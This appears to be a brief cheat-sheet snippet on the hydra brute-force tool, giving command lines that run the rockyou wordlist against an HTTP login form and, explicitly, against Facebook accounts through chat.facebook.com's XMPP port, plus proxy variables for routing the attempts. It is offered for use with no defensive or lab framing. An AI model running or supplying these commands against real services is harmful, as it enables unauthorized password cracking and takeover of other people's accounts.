Nice security-tool…
Example
Example usage:
$ hydra -vV -t TASKS -l USERNAME -P ~/Tools/wordlists/rockyou-75.txt \
<HOST|IP> http-post-form \
"/login.php:username=^USER^&password=^PASS^&submit=Submit:Incorrect"
For facebook use chat.facebook.com:5222 to crack passwords instead of https
$ hydra -vV -t 1 -l USERNAME -P ~/Tools/wordlists/rockyou-75.txt \
chat.facebook.com -s 5222 xmpp
Use a proxy
Use HYDRA_PROXY_HTTP/HYDRA_PROXY and HYDRA_PROXY_AUTH environment for a proxy.
HYDRA_PROXY=[http|socks4|socks5]://proxy_addr:proxy_port